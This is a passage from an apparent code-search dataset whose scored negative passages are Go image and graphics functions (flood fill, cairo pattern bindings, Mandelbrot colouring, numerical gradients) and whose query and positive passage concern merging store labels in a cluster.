s.Metal)?\n\t}\n\treturn s\n}", "title": "" }, { "docid": "e6504941fa3186cc0976dfed6203f599", "score": "0.44512805", "text": "func FloodFill(img image.Image, sp image.Point, c color.Color, t uint8) *image.RGBA {\n\tvar st util.Stack\n\tvar point fillPoint\n\tvisited := make(map[int]bool)\n\tim := clone.AsRGBA(img)\n\n\tmaxX := im.Bounds().Dx() - 1\n\tmaxY := im.Bounds().Dy() - 1\n\tif sp.X > maxX || sp.X < 0 || sp.Y > maxY || sp.Y < 0 {\n\t\treturn im\n\t}\n\n\ttSquared := math.Pow(float64(t), 2)\n\tmatchColor := color.NRGBAModel.Convert(im.At(sp.X, sp.Y)).(color.NRGBA)\n\n\tst.Push(fillPoint{sp.X, sp.Y, true, true, 0, 0})\n\n\t// loop until there are no more points remaining\n\tfor st.Len() > 0 {\n\t\tpoint = st.Pop().(fillPoint)\n\t\tpixOffset := im.PixOffset(point.X, point.Y)\n\n\t\tif !visited[pixOffset] {\n\t\t\tim.Set(point.X, point.Y, c)\n\t\t\tvisited[pixOffset] = true\n\n\t\t\t// fill left side\n\t\t\txpos := point.X\n\t\t\tfor {\n\t\t\t\txpos--\n\t\t\t\tif xpos < 0 {\n\t\t\t\t\txpos = 0\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tpixOffset = im.PixOffset(xpos, point.Y)\n\t\t\t\tif isColorMatch(im, pixOffset, matchColor, tSquared) {\n\t\t\t\t\tim.Set(xpos, point.Y, c)\n\t\t\t\t\tvisited[pixOffset] = true\n\t\t\t\t} else {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tleftFillEdge := xpos - 1\n\t\t\tif leftFillEdge < 0 {\n\t\t\t\tleftFillEdge = 0\n\t\t\t}\n\n\t\t\t// fill right side\n\t\t\txpos = point.X\n\t\t\tfor {\n\t\t\t\txpos++\n\t\t\t\tif xpos > maxX {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tpixOffset = im.PixOffset(xpos, point.Y)\n\t\t\t\tif isColorMatch(im, pixOffset, matchColor, tSquared) {\n\t\t\t\t\tim.Set(xpos, point.Y, c)\n\t\t\t\t\tvisited[pixOffset] = true\n\t\t\t\t} else {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\trightFillEdge := xpos + 1\n\t\t\tif rightFillEdge > maxX {\n\t\t\t\trightFillEdge = maxX\n\t\t\t}\n\n\t\t\t// skip every second check for pixels above and below\n\t\t\tskipCheckAbove := false\n\t\t\tskipCheckBelow := false\n\n\t\t\t// check pixels above/below the fill line\n\t\t\tfor x := leftFillEdge; x <= rightFillEdge; x++ {\n\t\t\t\toutOfPreviousRange := x >= point.PreviousFillEdgeRight || x <= point.PreviousFillEdgeLeft\n\n\t\t\t\tif skipCheckBelow {\n\t\t\t\t\tskipCheckBelow = !skipCheckBelow\n\t\t\t\t} else {\n\t\t\t\t\tif point.MarkedFromBelow || outOfPreviousRange {\n\t\t\t\t\t\tif point.Y > 0 {\n\t\t\t\t\t\t\tpixOffset = im.PixOffset(x, point.Y-1)\n\t\t\t\t\t\t\tif !visited[pixOffset] && isColorMatch(im, pixOffset, matchColor, tSquared) {\n\t\t\t\t\t\t\t\tskipCheckBelow = true\n\t\t\t\t\t\t\t\tst.Push(fillPoint{x, (point.Y - 1), true, false, leftFillEdge, rightFillEdge})\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif skipCheckAbove {\n\t\t\t\t\tskipCheckAbove = !skipCheckAbove\n\t\t\t\t} else {\n\t\t\t\t\tif point.MarkedFromAbove || outOfPreviousRange {\n\t\t\t\t\t\tif point.Y < maxY {\n\n\t\t\t\t\t\t\tpixOffset = im.PixOffset(x, point.Y+1)\n\t\t\t\t\t\t\tif !visited[pixOffset] && isColorMatch(im, pixOffset, matchColor, tSquared) {\n\t\t\t\t\t\t\t\tskipCheckAbove = true\n\t\t\t\t\t\t\t\tst.Push(fillPoint{x, (point.Y + 1), false, true, leftFillEdge, rightFillEdge})\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn im\n}", "title": "" }, { "docid": "6cfdf259a52bdbc560be8438b95aa5dc", "score": "0.44495738", "text": "func RasterSourcePatternGetCopy(pattern *Pattern) RasterSourceCopyFunc {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\t__ret := C.cairo_raster_source_pattern_get_copy(cpattern)\n\t__v := *NewRasterSourceCopyFuncRef(unsafe.Pointer(&__ret))\n\treturn __v\n}", "title": "" }, { "docid": "4e4040d3cc3a926f8ad3185333bca7bc", "score": "0.44410682", "text": "func MeshPatternGetPath(pattern *Pattern, patchNum uint32) *Path {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\tcpatchNum, _ := (C.uint)(patchNum), cgoAllocsUnknown\n\t__ret := C.cairo_mesh_pattern_get_path(cpattern, cpatchNum)\n\t__v := NewPathRef(unsafe.Pointer(__ret))\n\treturn __v\n}", "title": "" }, { "docid": "b623adecacebe5cc73eef3b9a9ca94da", "score": "0.44262022", "text": "func PatternCreateRgb(red float64, green float64, blue float64) *Pattern {\n\tcred, _ := (C.double)(red), cgoAllocsUnknown\n\tcgreen, _ := (C.double)(green), cgoAllocsUnknown\n\tcblue, _ := (C.double)(blue), cgoAllocsUnknown\n\t__ret := C.cairo_pattern_create_rgb(cred, cgreen, cblue)\n\t__v := *(**Pattern)(unsafe.Pointer(&__ret))\n\treturn __v\n}", "title": "" }, { "docid": "5ef18c2e7eef5ac022538d5594747028", "score": "0.44227856", "text": "func (p *XYZ) XYZAt(x, y int) hdrcolor.XYZ {\n\tif !(image.Point{x, y}.In(p.Rect)) {\n\t\treturn hdrcolor.XYZ{}\n\t}\n\ti := p.PixOffset(x, y)\n\treturn hdrcolor.XYZ{\n\t\tX: float64(p.Pix[i+0]),\n\t\tY: float64(p.Pix[i+1]),\n\t\tZ: float64(p.Pix[i+2]),\n\t}\n}", "title": "" }, { "docid": "d294cb91c1df7ce41e7acee552f2b6c4", "score": "0.43947765", "text": "func (p *XYZ64) XYZAt(x, y int) hdrcolor.XYZ {\n\tif !(image.Point{x, y}.In(p.Rect)) {\n\t\treturn hdrcolor.XYZ{}\n\t}\n\ti := p.PixOffset(x, y)\n\treturn hdrcolor.XYZ{X: p.Pix[i+0], Y: p.Pix[i+1], Z: p.Pix[i+2]}\n}", "title": "" }, { "docid": "229ac921d6dd4a919c48078078e0bca1", "score": "0.43910417", "text": "func getPixel(i, j int) color.RGBA {\n\n\t// As i, j are pixel positions, we do need to work out what actual axis points they represent on the real(x) and imaginary(y) axis...\n\txn := normaliseX(i)\n\tyn := normaliseY(j)\n\n\t// C is the current point (complex constant) we start at\n\tc := complex(xn, yn)\n\n\t// z is always initialised to c (we could have just done z := c, but writing this looked clearer to me for some reason! :)\n\tz := complex(0, 0) + c\n\n\t// some debugging stuff...\n\tif debug {\n\t\tfmt.Printf(\"Getting pixel %v,%v for c:%v\\n\", i, j, c)\n\t}\n\n\t// we are going to run the formula z=z*z+c for a max of 'maxiters', if the absolute value at any of the interations gets\n\t// larger than 4, then we know that the position is diverging, and we take a mod 255 of it (brighten it up if we want) and\n\t// give it a colour...\n\tfor i := 0; i <= maxiters; i++ {\n\t\tz = z*z + c\n\t\tif abs := cmplx.Abs(z); abs > 4 {\n\t\t\tmod := int(abs) % 255\n\n\t\t\tbrightness := mod\n\t\t\tif brightness < 70 {\n\t\t\t\tbrightness += 255 - 70\n\t\t\t}\n\n\t\t\tredValue := 0\n\t\t\tgreenValue := 0\n\t\t\tblueValue := 0\n\n\t\t\tif mod%4 == 1 {\n\t\t\t\tredValue = brightness\n\t\t\t} else if mod%4 == 2 {\n\t\t\t\tgreenValue = brightness\n\t\t\t} else if mod%4 == 3 {\n\t\t\t\tblueValue = brightness\n\t\t\t}\n\n\t\t\treturn color.RGBA{uint8(redValue), uint8(greenValue), uint8(blueValue), uint8(255)}\n\t\t}\n\t}\n\n\t// If we reached here then we did maxiters and the absolute value did not get > 4, so we return the\n\t// colour black for this pixel...\n\treturn color.RGBA{uint8(0), uint8(0), uint8(0), uint8(255)}\n}", "title": "" }, { "docid": "4640afac31f073cad10d6f8fc940a896", "score": "0.43861604", "text": "func (rgc *RasterGraphicContext) FillStringAt(text string, x, y float64) (cursor float64, err error) {\n\tcursor, err = rgc.CreateStringPath(text, x, y)\n\trgc.Fill()\n\treturn\n}", "title": "" }, { "docid": "e4ac22340d5916b6fa7ea782dc56ee9c", "score": "0.43697393", "text": "func texturePatterns() int {\n\treturn int(gradientNT-uniformT)>>texturePatternBits + 1\n}", "title": "" }, { "docid": "d3946eabadc3542ed4161ab8bd80af60", "score": "0.43655363", "text": "func (rule MergeFromRangeRule) Pattern() plan.Pattern {\n\treturn plan.Pat(universe.RangeKind, plan.Pat(PhysicalFromKind))\n}", "title": "" }, { "docid": "ce88dce12fac9cd9e055efbd6bd2cf42", "score": "0.43605796", "text": "func NewAtFunc(p image.Image) AtFunc {\n\tswitch p := p.(type) {\n\tcase *image.RGBA:\n\t\treturn newAtFuncRGBA(p)\n\tcase *image.RGBA64:\n\t\treturn newAtFuncRGBA64(p)\n\tcase *image.NRGBA:\n\t\treturn newAtFuncNRGBA(p)\n\tcase *image.NRGBA64:\n\t\treturn newAtFuncNRGBA64(p)\n\tcase *image.Alpha:\n\t\treturn newAtFuncAlpha(p)\n\tcase *image.Alpha16:\n\t\treturn newAtFuncAlpha16(p)\n\tcase *image.Gray:\n\t\treturn newAtFuncGray(p)\n\tcase *image.Gray16:\n\t\treturn newAtFuncGray16(p)\n\tcase *image.Paletted:\n\t\treturn newAtFuncPaletted(p)\n\tcase *image.YCbCr:\n\t\treturn newAtFuncYCbCr(p)\n\tcase *image.NYCbCrA:\n\t\treturn newAtFuncNYCbCrA(p)\n\tcase *image.CMYK:\n\t\treturn newAtFuncCMYK(p)\n\tcase *image.Uniform:\n\t\treturn newAtFuncUniform(p)\n\tdefault:\n\t\treturn newAtFuncDefault(p)\n\t}\n}", "title": "" }, { "docid": "9c162edcaa7c52e47245b2b7cd42c397", "score": "0.43582556", "text": "func (ai *ANSImage) GetAt(y, x int) (*ANSIpixel, error) {\n\tif y >= 0 && y < ai.h && x >= 0 && x < ai.w {\n\t\treturn &ANSIpixel{\n\t\t\t\tR: ai.pixmap[y][x].R,\n\t\t\t\tG: ai.pixmap[y][x].G,\n\t\t\t\tB: ai.pixmap[y][x].B,\n\t\t\t\tBrightness: ai.pixmap[y][x].Brightness,\n\t\t\t\tupper: ai.pixmap[y][x].upper,\n\t\t\t\tsource: ai.pixmap[y][x].source,\n\t\t\t},\n\t\t\tnil\n\t}\n\treturn nil, ErrOutOfBounds\n}", "title": "" }, { "docid": "ad646983dd25aeb16c7571456744467a", "score": "0.4350029", "text": "func VolumePatternAt(v float64, n int) Option {\n\treturn func(g Generator) {\n\t\tif hvs, ok := g.(HasVolumes); ok {\n\t\t\tvolumes := hvs.GetVolumePattern()\n\t\t\tif len(volumes) < n {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tvolumes[n] = v\n\t\t\thvs.SetVolumePattern(volumes)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "06fa43da7437cab9f322e79dab721341", "score": "0.43369678", "text": "func (r *patternPainter) Paint(ss []raster.Span, done bool) {\n\tb := r.im.Bounds()\n\tfor _, s := range ss {\n\t\tif s.Y < b.Min.Y {\n\t\t\tcontinue\n\t\t}\n\t\tif s.Y >= b.Max.Y {\n\t\t\treturn\n\t\t}\n\t\tif s.X0 < b.Min.X {\n\t\t\ts.X0 = b.Min.X\n\t\t}\n\t\tif s.X1 > b.Max.X {\n\t\t\ts.X1 = b.Max.X\n\t\t}\n\t\tif s.X0 >= s.X1 {\n\t\t\tcontinue\n\t\t}\n\t\tconst m = 1<<16 - 1\n\t\t/*\n\t\t\ty := s.Y - r.im.Rect.Min.Y\n\t\t\tx0 := s.X0 - r.im.Rect.Min.X\n\t\t\t// RGBAPainter.Paint() in $GOPATH/src/github.com/golang/freetype/raster/paint.go\n\t\t\ti0 := (s.Y-r.im.Rect.Min.Y)*r.im.Stride + (s.X0-r.im.Rect.Min.X)*4\n\t\t*/\n\t\ty := s.Y - b.Min.Y\n\t\tx0 := s.X0 - b.Min.X\n\t\ti0 := (s.Y - b.Min.Y) + (s.X0 - b.Min.X)\n\t\ti1 := i0 + (s.X1-s.X0)*4\n\t\tfor i, x := i0, x0; i < i1; i, x = i+4, x+1 {\n\t\t\tma := s.Alpha\n\t\t\tif r.mask != nil {\n\t\t\t\tma = ma * uint32(r.mask.AlphaAt(x, y).A) / 255\n\t\t\t\tif ma == 0 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tc := r.p.ColorAt(x, y)\n\t\t\tcr, cg, cb, ca := c.RGBA()\n\t\t\td := r.im.At(x, y)\n\t\t\tdr, dg, db, da := d.RGBA()\n\t\t\ta := (m - (ca * ma / m)) * 0x101\n\t\t\t/*\n\t\t\t\tr.im.Pix[i+0] = uint8((dr*a + cr*ma) / m >> 8)\n\t\t\t\tr.im.Pix[i+1] = uint8((dg*a + cg*ma) / m >> 8)\n\t\t\t\tr.im.Pix[i+2] = uint8((db*a + cb*ma) / m >> 8)\n\t\t\t\tr.im.Pix[i+3] = uint8((da*a + ca*ma) / m >> 8)\n\t\t\t*/\n\t\t\tswitch dst := r.im.(type) {\n\t\t\tcase *image.RGBA:\n\t\t\t\t/*\n\t\t\t\t\tif da == 0xffff {\n\t\t\t\t\t\tdst.Set(x, y, color.RGBA{\n\t\t\t\t\t\t\tR: uint8(dr >> 8),\n\t\t\t\t\t\t\tG: uint8(dg >> 8),\n\t\t\t\t\t\t\tB: uint8(db >> 8),\n\t\t\t\t\t\t\tA: uint8(da >> 8),\n\t\t\t\t\t\t})\n\t\t\t\t\t} else {\n\t\t\t\t*/\n\t\t\t\tdst.Set(x, y, color.RGBA{\n\t\t\t\t\tR: uint8((dr*a + cr*ma) / m >> 8),\n\t\t\t\t\tG: uint8((dg*a + cg*ma) / m >> 8),\n\t\t\t\t\tB: uint8((db*a + cb*ma) / m >> 8),\n\t\t\t\t\tA: uint8((da*a + ca*ma) / m >> 8),\n\t\t\t\t})\n\t\t\t\t//}\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "56c8bcda6f4044f7696dde4f0a30e16c", "score": "0.4329383", "text": "func MeshPatternGetCornerColorRgba(pattern *Pattern, patchNum uint32, cornerNum uint32, red *float64, green *float64, blue *float64, alpha *float64) Status {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\tcpatchNum, _ := (C.uint)(patchNum), cgoAllocsUnknown\n\tccornerNum, _ := (C.uint)(cornerNum), cgoAllocsUnknown\n\tcred, _ := (*C.double)(unsafe.Pointer(red)), cgoAllocsUnknown\n\tcgreen, _ := (*C.double)(unsafe.Pointer(green)), cgoAllocsUnknown\n\tcblue, _ := (*C.double)(unsafe.Pointer(blue)), cgoAllocsUnknown\n\tcalpha, _ := (*C.double)(unsafe.Pointer(alpha)), cgoAllocsUnknown\n\t__ret := C.cairo_mesh_pattern_get_corner_color_rgba(cpattern, cpatchNum, ccornerNum, cred, cgreen, cblue, calpha)\n\t__v := (Status)(__ret)\n\treturn __v\n}", "title": "" }, { "docid": "eac2dd244a744bbf8579c3bb74ecb048", "score": "0.4327607", "text": "func NewPattern() *Pattern {\n\treturn &Pattern{}\n}", "title": "" }, { "docid": "c1d4ddc6bbb14b8ea7071537ca21d715", "score": "0.43255708", "text": "func PatternCreateRgba(red float64, green float64, blue float64, alpha float64) *Pattern {\n\tcred, _ := (C.double)(red), cgoAllocsUnknown\n\tcgreen, _ := (C.double)(green), cgoAllocsUnknown\n\tcblue, _ := (C.double)(blue), cgoAllocsUnknown\n\tcalpha, _ := (C.double)(alpha), cgoAllocsUnknown\n\t__ret := C.cairo_pattern_create_rgba(cred, cgreen, cblue, calpha)\n\t__v := *(**Pattern)(unsafe.Pointer(&__ret))\n\treturn __v\n}", "title": "" }, { "docid": "818d253d98862f85202b15234990bd96", "score": "0.4316983", "text": "func floodFill(image [][]int, sr int, sc int, newColor int) [][]int {\n\tvisited := make([][]bool, len(image))\n\tfor i := range visited {\n\t\tvisited[i] = make([]bool, len(image[i]))\n\t}\n\tfor i := 0; i < len(image); i++ {\n\t\tfor j := 0; j < len(image[0]); j++ {\n\t\t\t// find target coordinate\n\t\t\tif i == sr && j == sc {\n\t\t\t\tdfs(image, i, j, image[i][j], newColor, visited)\n\t\t\t}\n\t\t}\n\t}\n\treturn image\n}", "title": "" }, { "docid": "139f3c7a25ced9ceb26c1558b36a4bf9", "score": "0.43164593", "text": "func TextureBoostedSaturatedGradient(src gocvsimd.View, saturation, boost uint8, dx, dy gocvsimd.View) {\n\n\tgocvsimd.SimdSse2TextureBoostedSaturatedGradient(src, uint64(saturation), uint64(boost), dx, dy)\n}", "title": "" }, { "docid": "4688dc1b9ec8b9e3d66f08b2876ec63e", "score": "0.43051857", "text": "func PatternCreateRadial(cx0 float64, cy0 float64, radius0 float64, cx1 float64, cy1 float64, radius1 float64) *Pattern {\n\tccx0, _ := (C.double)(cx0), cgoAllocsUnknown\n\tccy0, _ := (C.double)(cy0), cgoAllocsUnknown\n\tcradius0, _ := (C.double)(radius0), cgoAllocsUnknown\n\tccx1, _ := (C.double)(cx1), cgoAllocsUnknown\n\tccy1, _ := (C.double)(cy1), cgoAllocsUnknown\n\tcradius1, _ := (C.double)(radius1), cgoAllocsUnknown\n\t__ret := C.cairo_pattern_create_radial(ccx0, ccy0, cradius0, ccx1, ccy1, cradius1)\n\t__v := *(**Pattern)(unsafe.Pointer(&__ret))\n\treturn __v\n}", "title": "" }, { "docid": "c1194e17e02fd05b900a3d4a7e2c2a40", "score": "0.430289", "text": "func (gen *Generator) drawAlignmentPattern(x, y int) {\n\tfor i := -2; i <= 2; i++ {\n\t\tfor j := -2; j <= 2; j++ {\n\t\t\tgen.setFunctionModule(x+j, y+i, math.Max(math.Abs(float64(i)), math.Abs(float64(j))) != 1)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "29564dc288a9284dd4d2f387b899d88c", "score": "0.43013224", "text": "func PatternStatus(pattern *Pattern) Status {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\t__ret := C.cairo_pattern_status(cpattern)\n\t__v := (Status)(__ret)\n\treturn __v\n}", "title": "" }, { "docid": "13e19e65eee7a8957025338dce5ca53a", "score": "0.426527", "text": "func ColorIndex(c color.Color, p color.Palette) int {\n\tfor i, o := range p {\n\t\tif colorEqual(c, o) {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "title": "" }, { "docid": "8a8cabb0acbdea02dbbe5b8ecb280b47", "score": "0.42621014", "text": "func (o *CPUParticles) GetColorRamp() GradientImplementer {\n\t//log.Println(\"Calling CPUParticles.GetColorRamp()\")\n\n\t// Build out the method's arguments\n\tptrArguments := make([]gdnative.Pointer, 0, 0)\n\n\t// Get the method bind\n\tmethodBind := gdnative.NewMethodBind(\"CPUParticles\", \"get_color_ramp\")\n\n\t// Call the parent method.\n\t// Gradient\n\tretPtr := gdnative.NewEmptyObject()\n\tgdnative.MethodBindPtrCall(methodBind, o.GetBaseObject(), ptrArguments, retPtr)\n\n\t// If we have a return type, convert it from a pointer into its actual object.\n\tret := newGradientFromPointer(retPtr)\n\n\t// Check to see if we already have an instance of this object in our Go instance registry.\n\tif instance, ok := InstanceRegistry.Get(ret.GetBaseObject().ID()); ok {\n\t\treturn instance.(GradientImplementer)\n\t}\n\n\t// Check to see what kind of class this is and create it. This is generally used with\n\t// GetNode().\n\tclassName := ret.GetClass()\n\tif className != \"Gradient\" {\n\t\tactualRet := getActualClass(className, ret.GetBaseObject())\n\t\treturn actualRet.(GradientImplementer)\n\t}\n\n\treturn &ret\n}", "title": "" }, { "docid": "6040a96422dfdcb256c427672be832d8", "score": "0.42616904", "text": "func PatternGetRgba(pattern *Pattern, red *float64, green *float64, blue *float64, alpha *float64) Status {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\tcred, _ := (*C.double)(unsafe.Pointer(red)), cgoAllocsUnknown\n\tcgreen, _ := (*C.double)(unsafe.Pointer(green)), cgoAllocsUnknown\n\tcblue, _ := (*C.double)(unsafe.Pointer(blue)), cgoAllocsUnknown\n\tcalpha, _ := (*C.double)(unsafe.Pointer(alpha)), cgoAllocsUnknown\n\t__ret := C.cairo_pattern_get_rgba(cpattern, cred, cgreen, cblue, calpha)\n\t__v := (Status)(__ret)\n\treturn __v\n}", "title": "" }, { "docid": "516acf9c46b9b03c7fde52a43b28128d", "score": "0.42563516", "text": "func (m Mat4) At(row,col int) float32 {\n\treturn m[col * 4 + row]\n}", "title": "" }, { "docid": "a8e9934c55e8dd320c58ec9e2783717e", "score": "0.4256258", "text": "func PatternGetExtend(pattern *Pattern) Extend {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\t__ret := C.cairo_pattern_get_extend(cpattern)\n\t__v := (Extend)(__ret)\n\treturn __v\n}", "title": "" }, { "docid": "c42a7c7d7247d4fc1c8d1d1b538d4883", "score": "0.42534217", "text": "func MeshPatternMoveTo(pattern *Pattern, x float64, y float64) {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\tcx, _ := (C.double)(x), cgoAllocsUnknown\n\tcy, _ := (C.double)(y), cgoAllocsUnknown\n\tC.cairo_mesh_pattern_move_to(cpattern, cx, cy)\n}", "title": "" }, { "docid": "9738c3d421fba29254446493eef022ae", "score": "0.42510277", "text": "func (tc themeColor) isGradient() bool {\n return tc.start >= 0 && tc.start <= 0xffffff &&\n tc.end >= 0 && tc.end <= 0xffffff\n}", "title": "" }, { "docid": "ae626589e13a3cadce9c1389ff7c8c5b", "score": "0.42389238", "text": "func (m Mat2x4) At(row,col int) float32 {\n\treturn m[col * 2 + row]\n}", "title": "" }, { "docid": "c1554f0091751f794e3d51cfc800b97e", "score": "0.42332458", "text": "func (cov *Covar) At(x, y, p, q int) float64 {\n\tb := cov.Bandwidth\n\treturn cov.Gamma[b+x][b+y][p][q]\n}", "title": "" }, { "docid": "9240bfea2cfe18d3121881248bb3805a", "score": "0.42327344", "text": "func (m Mat4x2) At(row,col int) float32 {\n\treturn m[col * 4 + row]\n}", "title": "" }, { "docid": "500e47f6c5b38206e970fda0c395dfef", "score": "0.42291316", "text": "func _FloodFill(img, filImg *image.Gray, x, y int) {\n\n width, height := img.Bounds().Max.X, img.Bounds().Max.Y\n filImg.Set(x, y, color.Gray{255})\n if x > 0 && filImg.GrayAt(x-1, y).Y != 255 && img.GrayAt(x-1, y).Y == 255 {\n _FloodFill(img, filImg, x-1, y)\n }\n if x > 0 && filImg.GrayAt(x, y-1).Y != 255 && img.GrayAt(x, y-1).Y == 255 {\n _FloodFill(img, filImg, x, y-1)\n }\n if x < width - 1 && filImg.GrayAt(x+1, y).Y != 255 && img.GrayAt(x+1, y).Y == 255 {\n _FloodFill(img, filImg, x+1, y)\n }\n if x < height - 1 && filImg.GrayAt(x, y+1).Y != 255 && img.GrayAt(x, y+1).Y == 255 {\n _FloodFill(img, filImg, x, y+1)\n }\n}", "title": "" }, { "docid": "eefb1e8c9cb2b375b0fddff6d866a53b", "score": "0.42238593", "text": "func MeshPatternSetControlPoint(pattern *Pattern, pointNum uint32, x float64, y float64) {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\tcpointNum, _ := (C.uint)(pointNum), cgoAllocsUnknown\n\tcx, _ := (C.double)(x), cgoAllocsUnknown\n\tcy, _ := (C.double)(y), cgoAllocsUnknown\n\tC.cairo_mesh_pattern_set_control_point(cpattern, cpointNum, cx, cy)\n}", "title": "" }, { "docid": "21d24b48f96114c98db277d00d75f89b", "score": "0.4222187", "text": "func (mino *Mino) getMinoColorAtLocation(x int, y int) tcell.Color {\n\txIndex := x - mino.x\n\tyIndex := y - mino.y\n\tif xIndex < 0 || xIndex >= mino.length || yIndex < 0 || yIndex >= mino.length {\n\t\treturn colorBlank\n\t}\n\n\tminoBlocks := mino.minoRotation[mino.rotation]\n\treturn minoBlocks[xIndex][yIndex]\n}", "title": "" }, { "docid": "37021917932029f955da5e2c11cf4e28", "score": "0.42179626", "text": "func Gradient(dst []float64, f func([]float64) float64, x []float64, settings *Settings) []float64 {\n\tif dst == nil {\n\t\tdst = make([]float64, len(x))\n\t}\n\tif len(dst) != len(x) {\n\t\tpanic(\"fd: slice length mismatch\")\n\t}\n\n\t// Default settings.\n\tformula := Forward\n\tstep := formula.Step\n\tvar originValue float64\n\tvar originKnown, concurrent bool\n\n\t// Use user settings if provided.\n\tif settings != nil {\n\t\tif !settings.Formula.isZero() {\n\t\t\tformula = settings.Formula\n\t\t\tstep = formula.Step\n\t\t\tcheckFormula(formula)\n\t\t\tif formula.Derivative != 1 {\n\t\t\t\tpanic(badDerivOrder)\n\t\t\t}\n\t\t}\n\t\tif settings.Step != 0 {\n\t\t\tstep = settings.Step\n\t\t}\n\t\toriginKnown = settings.OriginKnown\n\t\toriginValue = settings.OriginValue\n\t\tconcurrent = settings.Concurrent\n\t}\n\n\tevals := len(formula.Stencil) * len(x)\n\tnWorkers := computeWorkers(concurrent, evals)\n\n\thasOrigin := usesOrigin(formula.Stencil)\n\t// Copy x in case it is modified during the call.\n\txcopy := make([]float64, len(x))\n\tif hasOrigin && !originKnown {\n\t\tcopy(xcopy, x)\n\t\toriginValue = f(xcopy)\n\t}\n\n\tif nWorkers == 1 {\n\t\tfor i := range xcopy {\n\t\t\tvar deriv float64\n\t\t\tfor _, pt := range formula.Stencil {\n\t\t\t\tif pt.Loc == 0 {\n\t\t\t\t\tderiv += pt.Coeff * originValue\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\t// Copying the data anew has two benefits. First, it\n\t\t\t\t// avoids floating point issues where adding and then\n\t\t\t\t// subtracting the step don't return to the exact same\n\t\t\t\t// location. Secondly, it protects against the function\n\t\t\t\t// modifying the input data.\n\t\t\t\tcopy(xcopy, x)\n\t\t\t\txcopy[i] += pt.Loc * step\n\t\t\t\tderiv += pt.Coeff * f(xcopy)\n\t\t\t}\n\t\t\tdst[i] = deriv / step\n\t\t}\n\t\treturn dst\n\t}\n\n\tsendChan := make(chan fdrun, evals)\n\tansChan := make(chan fdrun, evals)\n\tquit := make(chan struct{})\n\tdefer close(quit)\n\n\t// Launch workers. Workers receive an index and a step, and compute the answer.\n\tfor i := 0; i < nWorkers; i++ {\n\t\tgo func(sendChan <-chan fdrun, ansChan chan<- fdrun, quit <-chan struct{}) {\n\t\t\txcopy := make([]float64, len(x))\n\t\t\tfor {\n\t\t\t\tselect {\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn\n\t\t\t\tcase run := <-sendChan:\n\t\t\t\t\t// See above comment on the copy.\n\t\t\t\t\tcopy(xcopy, x)\n\t\t\t\t\txcopy[run.idx] += run.pt.Loc * step\n\t\t\t\t\trun.result = f(xcopy)\n\t\t\t\t\tansChan <- run\n\t\t\t\t}\n\t\t\t}\n\t\t}(sendChan, ansChan, quit)\n\t}\n\n\t// Launch the distributor. Distributor sends the cases to be computed.\n\tgo func(sendChan chan<- fdrun, ansChan chan<- fdrun) {\n\t\tfor i := range x {\n\t\t\tfor _, pt := range formula.Stencil {\n\t\t\t\tif pt.Loc == 0 {\n\t\t\t\t\t// Answer already known. Send the answer on the answer channel.\n\t\t\t\t\tansChan <- fdrun{\n\t\t\t\t\t\tidx: i,\n\t\t\t\t\t\tpt: pt,\n\t\t\t\t\t\tresult: originValue,\n\t\t\t\t\t}\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\t// Answer not known, send the answer to be computed.\n\t\t\t\tsendChan <- fdrun{\n\t\t\t\t\tidx: i,\n\t\t\t\t\tpt: pt,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}(sendChan, ansChan)\n\n\tfor i := range dst {\n\t\tdst[i] = 0\n\t}\n\t// Read in all of the results.\n\tfor i := 0; i < evals; i++ {\n\t\trun := <-ansChan\n\t\tdst[run.idx] += run.pt.Coeff * run.result\n\t}\n\tfloats.Scale(1/step, dst)\n\treturn dst\n}", "title": "" } ]
e506baa312f0fa817fd63d23fba414b8
UpdateStoreLabels merge the target and owned labels together
[ { "docid": "91ed64d731cafc21b38a503f1d8cec37", "score": "0.6426103", "text": "func (c *Cluster) UpdateStoreLabels(storeID uint64, labels []*metapb.StoreLabel) {\n\tc.Lock()\n\tdefer c.Unlock()\n\tc.stores[storeID].mergeLabels(labels)\n}", "title": "" } ]
